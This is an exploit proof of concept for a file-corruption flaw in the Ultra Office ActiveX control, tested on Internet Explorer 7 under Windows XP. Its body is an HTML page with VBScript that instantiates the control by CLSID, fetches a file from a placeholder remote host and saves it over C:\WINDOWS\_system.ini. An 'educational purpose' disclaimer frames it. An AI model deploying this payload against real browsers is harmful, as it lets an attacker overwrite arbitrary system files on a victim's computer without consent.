Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

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Ultra Office ActiveX Control Remote Arbitrary File Corruption
url: http://www.ultrashareware.com

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
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<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
dim remURL
remURL = "http://SomeSite.com/SomeFile.doc"
test.Open remURL, True
test.Save "C:\WINDOWS\_system.ini", True
End Sub
</script>